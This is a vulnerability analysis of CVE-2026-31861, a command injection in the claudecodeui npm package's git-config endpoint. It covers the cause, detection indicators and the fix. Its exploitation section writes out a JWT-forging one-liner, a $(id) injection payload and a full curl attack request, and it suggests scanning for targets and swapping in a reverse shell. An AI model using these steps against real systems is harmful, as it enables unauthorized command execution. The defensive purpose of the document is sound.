CVE-2026-31861: 
JavaScript vulnerability analysis and mitigation

CVE-2026-31861 is a shell command injection vulnerability in the @siteboon/claude-code-ui npm package (claudecodeui) that allows authenticated attackers to execute arbitrary OS commands via the /api/user/git-config endpoint. It affects all versions up to and including 1.23.0, with version 1.24.0 releasing the fix on March 9, 2026. The vulnerability was published to the GitHub Advisory Database on March 9, 2026, and to the NVD on March 11, 2026. It carries a CVSS v3.1 base score of 8.8 (High) and a CVSS v4.0 base score of 8.7 (High) (GitHub Advisory, Security Advisory).

The root cause is improper neutralization of shell metacharacters in user-supplied input passed to Node.js child_process.exec() (CWE-94 / CWE-78). In server/routes/user.js (lines 58–59), the gitName and gitEmail parameters are interpolated directly into shell command strings: await execAsync(\git config --global user.name "${gitName.replace(/"/g, '\"')}"`). While double-quote characters are escaped, bash still interprets backtick execution (`` cmd``) and$() command substitution within double-quoted strings, enabling full command injection. When chained with a companion vulnerability (VULN-01) involving a hardcoded JWT secret (claude-ui-dev-secret-change-in-production`), the attack becomes fully unauthenticated (GitHub Advisory, Security Advisory).

Successful exploitation grants an attacker arbitrary OS command execution as the Node.js process user, resulting in high impact to confidentiality, integrity, and availability. The git config --global vector modifies the server-wide git configuration, affecting all git operations on the host. An attacker can read or write arbitrary files, install backdoors, exfiltrate sensitive data, and pivot to other systems on the network (GitHub Advisory, Security Advisory).

A public proof-of-concept exploit with step-by-step curl commands and JWT forging instructions is available in the GitHub Security Advisory (Security Advisory). The PoC demonstrates exploitation using $(id) command substitution in the gitName parameter. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.044% (0.083% per the advisory), placing it in the 24th percentile for exploitation likelihood (GitHub Advisory).

1. Reconnaissance: Identify internet-facing claudecodeui instances (typically running on port 5173) using tools like Shodan or Censys, targeting versions ≤ 1.23.0.
2. Obtain or forge a JWT: If the target uses the default hardcoded secret (VULN-01), forge a JWT using: TOKEN=$(python3 -c "import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))")
3. Craft the injection payload: Prepare a JSON body with a command substitution payload in the gitName field, e.g., {"gitName":"$(id)","gitEmail":"attacker@example.com"}.
4. Send the malicious request: POST the payload to the vulnerable endpoint: curl -X POST "http://TARGET:5173/api/user/git-config" -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d '{"gitName":"$(id)","gitEmail":"attacker@example.com"}'
5. Achieve RCE: The server executes git config --global user.name "$(id)", causing bash to evaluate the subshell expression and run the injected command as the Node.js process user. Replace $(id) with any desired payload (e.g., a reverse shell) to achieve persistent access (Security Advisory).

• Network: Unexpected outbound connections from the claudecodeui server process to external IPs; HTTP POST requests to /api/user/git-config containing shell metacharacters such as `, $(, or \ in the gitName or gitEmail JSON fields.
• Logs: Application/access logs showing POST requests to /api/user/git-config with anomalous or encoded payloads in request bodies; Node.js error logs referencing unexpected command output in git configuration values.
• File System: Unexpected new files or scripts in the application directory or system temp directories; modifications to the global git configuration file (~/.gitconfig) with unusual or command-output-derived values for user.name or user.email; new cron jobs or SSH authorized keys added by the Node.js process user.
• Process: Unusual child processes spawned by the Node.js process (e.g., /bin/bash, curl, wget, python, nc) visible in process trees; unexpected network listeners or reverse shell processes (Security Advisory).

Upgrade @siteboon/claude-code-ui to version 1.24.0 or later, which replaces the vulnerable exec() call with spawn() using argument arrays, eliminating shell interpretation of metacharacters (v1.24.0 Release, Patch Commit). The safe pattern is: await spawnAsync('git', ['config', '--global', 'user.name', gitName]). As an interim workaround, implement strict input validation on gitName and gitEmail to reject or strip shell metacharacters, and change the JWT secret from the default hardcoded value to prevent unauthenticated exploitation via VULN-01 (GitHub Advisory).

The vulnerability was discussed in a Reddit r/netsec thread covering 22 security advisories related to AI/ML tools, reflecting broader community interest in security issues affecting AI-adjacent developer tooling (Reddit). Check Point also published a defense advisory referencing this CVE (Check Point Advisory). No major vendor statements or prominent individual researcher commentary beyond the original advisory reporters (Akokonunes, neo-ai-engineer, toufik-airane) have been identified.